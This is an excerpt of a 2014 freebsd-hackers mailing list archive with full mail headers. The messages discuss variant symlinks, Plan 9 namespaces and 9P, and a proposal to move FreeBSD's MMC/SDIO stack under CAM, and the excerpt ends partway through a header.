[IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1892E569; Sun, 23 Feb 2014 19:10:59 +0000 (UTC) Received: from smtp.digiware.nl (smtp.digiware.nl [31.223.170.169]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C34261B7F; Sun, 23 Feb 2014 19:10:58 +0000 (UTC) Received: from rack1.digiware.nl (unknown [127.0.0.1]) by smtp.digiware.nl (Postfix) with ESMTP id 356D1153AA6; Sun, 23 Feb 2014 20:10:57 +0100 (CET) X-Virus-Scanned: amavisd-new at digiware.nl Received: from smtp.digiware.nl ([127.0.0.1]) by rack1.digiware.nl (rack1.digiware.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id mnA4PjW_M7eu; Sun, 23 Feb 2014 20:10:55 +0100 (CET) Received: from [IPv6:2001:4cb8:3:1:8033:fb68:f361:a8fd] (unknown [IPv6:2001:4cb8:3:1:8033:fb68:f361:a8fd]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by smtp.digiware.nl (Postfix) with ESMTPSA id 20B051534EF; Sun, 23 Feb 2014 20:10:55 +0100 (CET) Message-ID: <530A47BD.6040704@digiware.nl> Date: Sun, 23 Feb 2014 20:10:53 +0100 From: Willem Jan Withagen User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: gljennjohn@gmail.com, Daniel Eischen Subject: Re: Thoughts on Multi-Symlink Concept References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <20140223173042.074d3eb0@ernst.home> In-Reply-To: <20140223173042.074d3eb0@ernst.home> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, jordan.hubbard@gmail.com, Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 19:10:59 -0000 On 23-2-2014 17:30, Gary Jennejohn wrote: > On Sun, 23 Feb 2014 10:18:31 -0500 (EST) > Daniel Eischen wrote: > >> On Sun, 23 Feb 2014, Willem Jan Withagen wrote: >> >>> On 16-2-2014 6:16, Perry Hutchison wrote: >>>> Jordan Hubbard wrote: >>>> >>>>> Even variant symlinks (/bin -> /${ARCH}/bin), which can expand >>>>> differently depending on the user context, have clearly >>>>> understandable semantics - you know that the symlink is going >>>>> to expand to exactly one file no matter what ARCH is set to. >>>> >>>> s/file/pathname/ >>>> >>>> Depending on what ARCH is set to, the expanision may or may not >>>> point to any actual file (or directory, or ...) >>> >>> Yes, please can we get these .... >>> >>> Apollo Domain systems had those, and they were great. >>> Set SYSTYPE to BSD4 and get the BSD tree and all that came with it, or >>> SYSV to get the other stuff. >>> >>> Would indeed work great for things like /bin or even >>> /usr/local/etc -> /${HOST}/usr/local/etc >> >> This topic comes up every couple of years. I recall >> Domain OS fondly - it was my first UNIX-like OS. I would >> really like variant symlinks, but I predict in another >> couple of years we'll be having the same conversation :-) >> > > Hear, hear! > > When I saw the first post I immediately thought "is it 1994 again?" > > Well, maybe the first discussion wasn't in 1994, but it was quite > some time ago. Should be around there when I took it up for the first time. Last dates on the code are from 1998, but I'm shure it did not work at that moment. It comes around in a regular cycle about every 7 years. :) --WjW From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 19:36:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4BF09FD4 for ; Sun, 23 Feb 2014 19:36:56 +0000 (UTC) Received: from mailhost.m5p.com (ip-2-1-0-2.r03.asbnva02.us.ce.gin.ntt.net [IPv6:2001:418:0:5000::16]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id F2F5A1D2B for ; Sun, 23 Feb 2014 19:36:55 +0000 (UTC) Received: from wonderland.m5p.com (localhost [IPv6:::1]) by mailhost.m5p.com (8.14.5/8.14.5) with ESMTP id s1NJam0K063939 for ; Sun, 23 Feb 2014 14:36:53 -0500 (EST) (envelope-from george+freebsd@m5p.com) Message-ID: <530A4DD0.2020904@m5p.com> Date: Sun, 23 Feb 2014 14:36:48 -0500 From: George Mitchell User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Thoughts on Variant Symlinks; was Thoughts on Multi-Symlink Concept References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <20140223173042.074d3eb0@ernst.home> <530A47BD.6040704@digiware.nl> In-Reply-To: <530A47BD.6040704@digiware.nl> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.73 on 10.100.0.3 X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.2.7 (mailhost.m5p.com [IPv6:::1]); Sun, 23 Feb 2014 14:36:53 -0500 (EST) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 19:36:56 -0000 Another veteran of Domain/OS here. Isn't it time to change the subject of this thread? Variant symlinks are quite distinct from what the OP was proposing (one "link" concatenates a plurality of files). -- George From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 19:54:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9F1F6489; Sun, 23 Feb 2014 19:54:54 +0000 (UTC) Received: from mail-ve0-x229.google.com (mail-ve0-x229.google.com [IPv6:2607:f8b0:400c:c01::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 302CA1FBE; Sun, 23 Feb 2014 19:54:54 +0000 (UTC) Received: by mail-ve0-f169.google.com with SMTP id c14so1667740vea.28 for ; Sun, 23 Feb 2014 11:54:53 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=2wGwq1sqwrB+3Wq8phCM0vLngMGiF/aDsM7jDOpJTmw=; b=mLv53/MmvjSSV+69FHSjGGD3fMZLlp+Xknw0PK9pdy/0r5AUfVzudQ09iSL54wHros 73W5i+oagjazUI1KngFsXbl32/atbhow/8q2ZQRsv2IEi0ii5dPTzCeNERLwnA5l8NIZ 5fOvWGqRsD0eKE4YetdjzhEUyoZJVIHQ8aq/wMkJdOCF+GiqFneCxyOLEHxlJFT9zqdm jebsueI6DPIodoeEs0aBEkR8Ho0gdiIqQli8htrMiHlqfvU5AIqyrPsL17vm+yAhtBP1 0k00tmf8oflO1GILYrazT0P6KdLpLnU73YZYi50O5khiYtvs5XXi4zory0jZASc+aCIL +EZg== MIME-Version: 1.0 X-Received: by 10.221.27.194 with SMTP id rr2mr10541988vcb.60.1393185293245; Sun, 23 Feb 2014 11:54:53 -0800 (PST) Sender: adrian.chadd@gmail.com Received: by 10.220.113.199 with HTTP; Sun, 23 Feb 2014 11:54:53 -0800 (PST) In-Reply-To: <530A47BD.6040704@digiware.nl> References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <20140223173042.074d3eb0@ernst.home> <530A47BD.6040704@digiware.nl> Date: Sun, 23 Feb 2014 11:54:53 -0800 X-Google-Sender-Auth: tfrjpIXGqNP4lacnD6EQLGQL1IA Message-ID: Subject: Re: Thoughts on Multi-Symlink Concept From: Adrian Chadd To: Willem Jan Withagen Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-filesystems@freebsd.org, Perry Hutchison , "freebsd-hackers@freebsd.org" , Daniel Eischen , gljennjohn@gmail.com, Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 19:54:54 -0000 I like how noone mentioned how variant symlinks existed in the DEC UNIX on their alpha platforms. It made clustering stuff much more cute to do. -a From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 19:58:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 00DB65B3; Sun, 23 Feb 2014 19:58:50 +0000 (UTC) Received: from tx2outboundpool.messaging.microsoft.com (tx2ehsobe005.messaging.microsoft.com [65.55.88.15]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8CDBA1FED; Sun, 23 Feb 2014 19:58:48 +0000 (UTC) Received: from mail106-tx2-R.bigfish.com (10.9.14.236) by TX2EHSOBE013.bigfish.com (10.9.40.33) with Microsoft SMTP Server id 14.1.225.22; Sun, 23 Feb 2014 19:58:42 +0000 Received: from mail106-tx2 (localhost [127.0.0.1]) by mail106-tx2-R.bigfish.com (Postfix) with ESMTP id 406854008C; Sun, 23 Feb 2014 19:58:42 +0000 (UTC) X-Forefront-Antispam-Report: CIP:157.56.240.101; KIP:(null); UIP:(null); IPV:NLI; H:BL2PRD0510HT004.namprd05.prod.outlook.com; RD:none; EFVD:NLI X-SpamScore: 0 X-BigFish: VPS0(zz9371I542Izz1f42h2148h208ch1ee6h1de0h1fdah2073h2146h1202h1e76h2189h1d1ah1d2ah21bch1fc6hzz8275ch1de098h17326ah8275dh1de097h186068hz2fh109h2a8h839h947hd24hf0ah1288h12a5h12a9h12bdh137ah13b6h1441h1504h1537h153bh162dh1631h1758h18e1h1946h19b5h19ceh1ad9h1b0ah224fh1d07h1d0ch1d2eh1d3fh1de9h1dfeh1dffh1fe8h1ff5h2216h22d0h2336h2461h2487h24ach24d7h2516h2545h255eh9a9j1155h) Received-SPF: pass (mail106-tx2: domain of juniper.net designates 157.56.240.101 as permitted sender) client-ip=157.56.240.101; envelope-from=aduane@juniper.net; helo=BL2PRD0510HT004.namprd05.prod.outlook.com ; .outlook.com ; X-Forefront-Antispam-Report-Untrusted: SFV:NSPM; SFS:(10009001)(6009001)(13464003)(377454003)(189002)(199002)(79102001)(31966008)(90146001)(56816005)(94316002)(74662001)(74502001)(81686001)(47446002)(81816001)(33646001)(47976001)(49866001)(4396001)(94946001)(47736001)(76576001)(93516002)(50986001)(76786001)(76796001)(63696002)(92566001)(74366001)(74876001)(74316001)(85852003)(83072002)(53806001)(54356001)(56776001)(54316002)(51856001)(76482001)(81542001)(86362001)(69226001)(15975445006)(93136001)(74706001)(77982001)(46102001)(59766001)(80976001)(81342001)(95666003)(83322001)(19580395003)(19580405001)(95416001)(87266001)(87936001)(2656002)(66066001)(15202345003)(80022001)(65816001)(85306002)(24736002); DIR:OUT; SFP:1101; SCL:1; SRVR:BY2PR05MB776; H:BY2PR05MB582.namprd05.prod.outlook.com; CLIP:66.129.241.12; FPR:E4D2C69B.2E366F0A.49E1BFA4.60515BF1.20231; PTR:InfoNoRecords; MX:1; A:1; LANG:en; Received: from mail106-tx2 (localhost.localdomain [127.0.0.1]) by mail106-tx2 (MessageSwitch) id 1393185519428457_7351; Sun, 23 Feb 2014 19:58:39 +0000 (UTC) Received: from TX2EHSMHS041.bigfish.com (unknown [10.9.14.242]) by mail106-tx2.bigfish.com (Postfix) with ESMTP id 586F120057; Sun, 23 Feb 2014 19:58:39 +0000 (UTC) Received: from BL2PRD0510HT004.namprd05.prod.outlook.com (157.56.240.101) by TX2EHSMHS041.bigfish.com (10.9.99.141) with Microsoft SMTP Server (TLS) id 14.16.227.3; Sun, 23 Feb 2014 19:58:39 +0000 Received: from BY2PR05MB776.namprd05.prod.outlook.com (10.141.224.154) by BL2PRD0510HT004.namprd05.prod.outlook.com (10.255.100.39) with Microsoft SMTP Server (TLS) id 14.16.411.0; Sun, 23 Feb 2014 19:58:37 +0000 Received: from BY2PR05MB582.namprd05.prod.outlook.com (10.141.219.146) by BY2PR05MB776.namprd05.prod.outlook.com (10.141.224.154) with Microsoft SMTP Server (TLS) id 15.0.883.10; Sun, 23 Feb 2014 19:58:35 +0000 Received: from BY2PR05MB582.namprd05.prod.outlook.com ([10.141.219.146]) by BY2PR05MB582.namprd05.prod.outlook.com ([10.141.219.146]) with mapi id 15.00.0883.010; Sun, 23 Feb 2014 19:58:35 +0000 From: Andrew Duane To: Adrian Chadd , Willem Jan Withagen Subject: RE: Thoughts on Multi-Symlink Concept Thread-Topic: Thoughts on Multi-Symlink Concept Thread-Index: AQHPMCLWAfcQ8HrO+ky5HMi/vn1+QZrC9L+AgAAUKwCAACzBgIAADEuAgAAAnmA= Date: Sun, 23 Feb 2014 19:58:34 +0000 Message-ID: References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <20140223173042.074d3eb0@ernst.home> <530A47BD.6040704@digiware.nl> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [66.129.241.12] x-forefront-prvs: 0131D22242 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-OriginatorOrg: juniper.net X-FOPE-CONNECTOR: Id%0$Dn%*$RO%0$TLS%0$FQDN%$TlsDn% Cc: "freebsd-filesystems@freebsd.org" , Perry Hutchison , "freebsd-hackers@freebsd.org" , Daniel Eischen , "gljennjohn@gmail.com" , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 19:58:50 -0000 Don't get me started.... I lived that nightmare for years as a kernel dev a= t DEC/Compaq. IIRC, It was designed specifically for the clustering, and wa= s a great big hunk of duct tape splatted on the side of the code. A seem to= recall a little spackle around the edges too.... .................................... Andrew L. Duane AT&T Technical Lead JNCIA - JUNOS m=A0=A0=A0+1 603.770.7088 o +1 408.933.6944 (2-6944) skype: andrewlduane aduane@juniper.net -----Original Message----- From: owner-freebsd-hackers@freebsd.org [mailto:owner-freebsd-hackers@freeb= sd.org] On Behalf Of Adrian Chadd Sent: Sunday, February 23, 2014 2:55 PM To: Willem Jan Withagen Cc: freebsd-filesystems@freebsd.org; Perry Hutchison; freebsd-hackers@freeb= sd.org; Daniel Eischen; gljennjohn@gmail.com; Jordan Hubbard Subject: Re: Thoughts on Multi-Symlink Concept I like how noone mentioned how variant symlinks existed in the DEC UNIX on their alpha platforms. It made clustering stuff much more cute to do. -a _______________________________________________ freebsd-hackers@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-hackers To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 20:10:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 225B2B53 for ; Sun, 23 Feb 2014 20:10:44 +0000 (UTC) Received: from mail.bitblocks.com (ns1.bitblocks.com [173.228.5.8]) by mx1.freebsd.org (Postfix) with ESMTP id EFA511153 for ; Sun, 23 Feb 2014 20:10:43 +0000 (UTC) Received: from altos.bitblocks.com (altos.bitblocks.com [192.168.125.3]) by mail.bitblocks.com (Postfix) with ESMTP id 501B5B827; Sun, 23 Feb 2014 12:02:40 -0800 (PST) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Thoughts on Multi-Symlink Concept From: Bakul Shah In-Reply-To: Date: Sun, 23 Feb 2014 12:02:39 -0800 Content-Transfer-Encoding: quoted-printable Message-Id: <4B5A7B51-74E2-4F8E-827D-251F0DBC9326@bitblocks.com> References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> To: Jordan Hubbard X-Mailer: Apple Mail (2.1827) Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, Willem Jan Withagen , Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 20:10:44 -0000 On Feb 22, 2014, at 7:13 PM, Jordan Hubbard = wrote: > Indeed. I often tell interns who are looking for interesting project = ideas to simply look back into our own past. Almost all the really = interesting and cool research activities where operating systems are = concerned seems to have happened between the years of 1970-1990. = Sprite, Plan 9, Mach (hey, file space name servers anyone?), Domain OS, = all kinds of neat ideas that sadly died or were forgotten in the name of = consolidation, performance and expedience. Indeed, the performance of = some of those concepts was actually rather woeful when 4MB of memory and = 1MIP were all you one to work with. Maybe now that we have more = hardware horsepower than we almost know what to do with, it=92s time for = some of those ideas to enjoy a renaissance? Sounds like a good = EuroBSDCon or BSDCan talk. :-) Plan9 is alive and well! Well, at least used by a small but a diverse group of people! And with the advent of the plan9 RaspberryPi port I see new people playing with it! With Plan9 style per process name space, 9P protocol (to easily construct a filesystem API for anything), mount() syscall to connect to a fileserver speaking 9p, and bind() syscall to overlay/underlay a filetree on another, you can achieve the equivalent of variant symlinks and much more! You can easily implement a 'multi-symlink' fs as well! On plan9 all device drivers also speak 9p so you can even mount a remote network stack on your local machine (no need for NAT!). User programs such as rio (a window manager) and acme (an editor) also provide FS access to their facilities =20 which makes it easy to write scripts to interact with them. Some examples: bind $ARCH/bin /bin # now files in $ARCH/bin appear in /bin mount /srv/dump /n/dump dump # make the dump fs available at /n/dump bind /n/dump/2013/11/12/arm/lib/libc.a /arm/lib/libc.a 5c -o foo foo.c # now foo is linked with libc.a of 12-Nov-2013 9fs sources # /n/sources points to sources/ on = sources.cs.bell-labs.com bind /n/sources/plan9/sys/src /sys/src # overlay on local /sys/src =20 There is already support for 9P in Linux, Qemu and few other places as it is pretty simple to add. UCB's many core=20 research OS Akaros is using 9p and the network stack from plan9. If anyone is inspired to add 9p & friends support to FreeBSD, I encourage you to play with plan9 on the RaspberryPi as it is pretty easy to use and lots of fun. [Kernel compile takes a minute on the RasPi. The equivalent of `make buildworld buildkernel' about 4 minutes. Of course, the system is pretty minimal] From owner-freebsd-hackers@FreeBSD.ORG Mon Feb 24 08:56:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 27870E26 for ; Mon, 24 Feb 2014 08:56:10 +0000 (UTC) Received: from kabab.cs.huji.ac.il (kabab.cs.huji.ac.il [132.65.116.12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C759F1910 for ; Mon, 24 Feb 2014 08:56:09 +0000 (UTC) Received: from th-04.cs.huji.ac.il ([132.65.80.125]) by kabab.cs.huji.ac.il with esmtp id 1WHr6D-000HEk-JK; Mon, 24 Feb 2014 10:41:17 +0200 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Thoughts on Multi-Symlink Concept From: Daniel Braniss In-Reply-To: <4B5A7B51-74E2-4F8E-827D-251F0DBC9326@bitblocks.com> Date: Mon, 24 Feb 2014 10:39:10 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <4B5A7B51-74E2-4F8E-827D-251F0DBC9326@bitblocks.com> To: Bakul Shah X-Mailer: Apple Mail (2.1827) Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, Jordan Hubbard , Willem Jan Withagen , Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Feb 2014 08:56:10 -0000 and we also have automount/amd/am-utils/autofs =85 here we have /usr/local via am-utils mounted to the correct = arch/os/version. danny On Feb 23, 2014, at 10:02 PM, Bakul Shah wrote: >=20 > On Feb 22, 2014, at 7:13 PM, Jordan Hubbard = wrote: >=20 >> Indeed. I often tell interns who are looking for interesting project = ideas to simply look back into our own past. Almost all the really = interesting and cool research activities where operating systems are = concerned seems to have happened between the years of 1970-1990. = Sprite, Plan 9, Mach (hey, file space name servers anyone?), Domain OS, = all kinds of neat ideas that sadly died or were forgotten in the name of = consolidation, performance and expedience. Indeed, the performance of = some of those concepts was actually rather woeful when 4MB of memory and = 1MIP were all you one to work with. Maybe now that we have more = hardware horsepower than we almost know what to do with, it=92s time for = some of those ideas to enjoy a renaissance? Sounds like a good = EuroBSDCon or BSDCan talk. :-) >=20 > Plan9 is alive and well! Well, at least used by a small but > a diverse group of people! And with the advent of the plan9 > RaspberryPi port I see new people playing with it! >=20 > With Plan9 style per process name space, 9P protocol (to > easily construct a filesystem API for anything), mount() > syscall to connect to a fileserver speaking 9p, and bind() > syscall to overlay/underlay a filetree on another, you can > achieve the equivalent of variant symlinks and much more! > You can easily implement a 'multi-symlink' fs as well! >=20 > On plan9 all device drivers also speak 9p so you can even > mount a remote network stack on your local machine (no need > for NAT!). User programs such as rio (a window manager) and > acme (an editor) also provide FS access to their facilities =20 > which makes it easy to write scripts to interact with them. >=20 > Some examples: >=20 > bind $ARCH/bin /bin # now files in $ARCH/bin appear in /bin >=20 > mount /srv/dump /n/dump dump # make the dump fs available at /n/dump > bind /n/dump/2013/11/12/arm/lib/libc.a /arm/lib/libc.a > 5c -o foo foo.c # now foo is linked with libc.a of 12-Nov-2013 >=20 > 9fs sources # /n/sources points to sources/ on = sources.cs.bell-labs.com > bind /n/sources/plan9/sys/src /sys/src # overlay on local /sys/src >=20 > There is already support for 9P in Linux, Qemu and few other > places as it is pretty simple to add. UCB's many core=20 > research OS Akaros is using 9p and the network stack from > plan9. >=20 > If anyone is inspired to add 9p & friends support to FreeBSD, > I encourage you to play with plan9 on the RaspberryPi as it is > pretty easy to use and lots of fun. [Kernel compile takes a > minute on the RasPi. The equivalent of `make buildworld > buildkernel' about 4 minutes. Of course, the system is pretty > minimal] >=20 >=20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Mon Feb 24 14:26:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2B48166F; Mon, 24 Feb 2014 14:26:51 +0000 (UTC) Received: from olymp.kibab.com (olymp6.kibab.com [IPv6:2a01:4f8:160:84c1::2]) by mx1.freebsd.org (Postfix) with ESMTP id ABAE31BA8; Mon, 24 Feb 2014 14:26:50 +0000 (UTC) DKIM-Filter: OpenDKIM Filter v2.8.3 olymp.kibab.com 3B8583F44D DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=bakulin.de; s=default; t=1393252002; bh=6CIRyxWYv6u7fuXfoH/iTRhHow/o58P5vL9zBSupLsM=; h=Date:From:To:Cc:Subject:References:In-Reply-To; b=w8huPsoXRDG6WC5NGsyg9F0HzeHACq3ZSuN4addMzp3mnS/mU6sHvRYeA+dMyeHqF IMQobQWqnO7pM19zBgvjsMDVnb5LIfXhLAKRc4VpemQTbZzNRT2qzDYvOpc7zaRt5U YbvpplcgFMR9DHSzUunefdtrY/SALQ7SaKg/NqYI= Date: Mon, 24 Feb 2014 15:26:42 +0100 From: Ilya Bakulin To: Warner Losh Subject: Re: MMC/SDIO stack under CAM Message-ID: <20140224142642.GA32538@olymp.kibab.com> References: <20140216111153.GA74858@olymp.kibab.com> <5C2CF572-360D-4CA0-81C7-18A5C455AED5@bsdimp.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="vkogqOf2sHV7VnPd" Content-Disposition: inline In-Reply-To: <5C2CF572-360D-4CA0-81C7-18A5C455AED5@bsdimp.com> Cc: Adrian Chadd , freebsd-hackers@freebsd.org, Alexander Motin , freebsd-arm@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Feb 2014 14:26:51 -0000 --vkogqOf2sHV7VnPd Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Feb 16, 2014 at 11:05:35AM -0700, Warner Losh wrote: > that's cool! I'd thought of writing a mmcsim that I could use to develop = the stack on x86, but time pressures of my job precluded that (though in hi= nd sight, it would have saved a lot of time). I assume that by "mmcsim" you mean not MMC SIM for CAM, but MMC SIMulator := -) Yeah so essentially it should be able to return some "fake" data to the upper layer, maybe based on configuration (ie 1 GB SD, 16 GB SDHC, .= =2E.). > > For SDIO card, the situation will be different. Essentially, > > we should allow a device driver to send arbitrary messages to the card. > > So the device driver will attach directly to the scbus. > >=20 > > Please let me know your thoughts about it. > > I really want SDIO make its way into the kernel, because there > > is an increasing number of ARM boards on the market that have integrated > > SDIO WLAN on them and we cannot support them fully. >=20 > Generally, I like this idea... I'd be very interested in some of the spe= cifics to make the direct attachment work with SDIO. That's the one area I = either don't think I understand your proposal well enough, or I do and I'm = concerned about it. :) So maybe write a bit more about the details of the S= DIO cards and how they's interact with CAM in this scenario... >=20 > The notion of moving MMC/SD into the CAM stack has been around since I st= arted working on MMC. At the time, CAM was too SCSI centric to do it, but A= lexander Motin's work has generally improved that situation, so it may be p= ossible now to do it and shake out the few dark corners of CAM where this i= sn't the case. I also think it should help performance a lot since we're cu= rrently single threaded to the card (but that's also the nature of the bus)= , which introduces some round-trip latencies between too many threads that = CAM may help us avoid. >=20 > Warner After talking with Alexander about CAM, here is the updated proposal: * All card communication logic should be placed in MMC XPT layer, with the = new CCB type that describes MMC request + some data needed by the system. So almost everything from sys/dev/mmc/mmc.c goes there. * da(4) is a driver for SCSI disks. It makes more sense to adapt mmcsd(4) t= o use CAM. So mmcsd(4) will create CCBs and pass them to CAM layer, getting async no= tifications via standard CAM callback mechanism. * It is possible to write drivers for SDIO devices exactly like adopted mmc= sd(4). Every such driver would be then built as CAM peripheral driver, which mea= ns it will be able to send/receive CCBs. To do that, every driver has to call PERIPHDRIVER_DECLARE() macro, subscr= ibing to CAM "new device found" events. The ongoing work for MMC CAM is here: https://github.com/kibab/freebsd/compare/master...mmccam Not so much stuff here yet. PS: In theory, ssince there is already an existing interface for passing CA= M CCBs between userland and kernel, it WOULD be posssible to create device drivers entirely in userland... Like= microkernel OSes do. But our network stack doesn'have such feature I guess... -- Ilya --vkogqOf2sHV7VnPd Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.15 (FreeBSD) iEYEARECAAYFAlMLVqAACgkQo9vlj1oadwjVWACg7ZgrzQ4f31Si3XN5p9Y3LLeC N84AoKTada+XSlMYa8t6JVfZVz/zJNx2 =XWE5 -----END PGP SIGNATURE----- --vkogqOf2sHV7VnPd-- From owner-freebsd-hackers@FreeBSD.ORG Mon Feb 24 15:59:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B1824C56; Mon, 24 Feb 2014 15:59:41 +0000 (UTC) Received: from mail-qc0-x234.google.com (mail-qc0-x234.google.com [IPv6:2607:f8b0:400d:c01::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 